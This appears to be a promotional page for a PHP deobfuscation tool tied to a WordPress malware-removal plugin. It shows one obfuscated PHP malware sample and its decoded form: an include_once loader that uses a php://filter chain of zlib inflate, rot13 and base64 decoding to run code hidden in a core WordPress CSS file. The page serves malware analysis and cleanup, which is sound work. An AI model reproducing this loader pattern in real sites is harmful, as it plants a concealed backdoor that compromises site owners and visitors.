PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php @IncLUde_oncE("\160\150"."\x70\x3a\x2f\x2f"."\x66\x69\x6c"."ter/"."\162\145\141\144"."=z"."\x6c\x69\x62"/1pq# bvEp/."\x2e\x69\x6e"."\x66\x6c\x61"."\x74\x65"."|st"."\162\151"."\156\147"."\x2e\x72\x6f\x74"."\061\063\174\143"."onv"."\x65\x72\x74\x2e"."\x62\x61"."\x73\x65\x36"."4-d"."eco"."de...

Obfuscated php code

<?php
@IncLUde_oncE("\160\150"."\x70\x3a\x2f\x2f"."\x66\x69\x6c"."ter/"."\162\145\141\144"."=z"."\x6c\x69\x62"/*1pq#
bvEp*/."\x2e\x69\x6e"."\x66\x6c\x61"."\x74\x65"."|st"."\162\151"."\156\147"."\x2e\x72\x6f\x74"."\061\063\174\143"."onv"."\x65\x72\x74\x2e"."\x62\x61"."\x73\x65\x36"."4-d"."eco"."de/"."\162\145\163\157"/*pthk*/."\x75\x72\x63"."\x65\x3d\x77"."\160\055"."incl"."\x75\x64"/*"E$
g^Yz*/."es/"/*-],
:,^*/."\143\163"."\x73\x2f"."\x64\x69"."\163\164\057"."\x65\x64"."\151\164\055"."pos"."\164\057"."\x73\x74"."\x79\x6c\x65"."-ve"."\156\144\157"."\162\055\162"."\x74\x6c\x2e\x6d"."\x69\x6e"."\x2e\x63"."\x73\x73");

Decoded(de-Obfuscated) php code

<?php

@(include_once "php://filter/read=zlib.inflate|string.rot13|convert.base64-decode/resource=wp-includes/css/dist/edit-post/style-vendor-rtl.min.css");

Malware detection & removal plugin for WordPress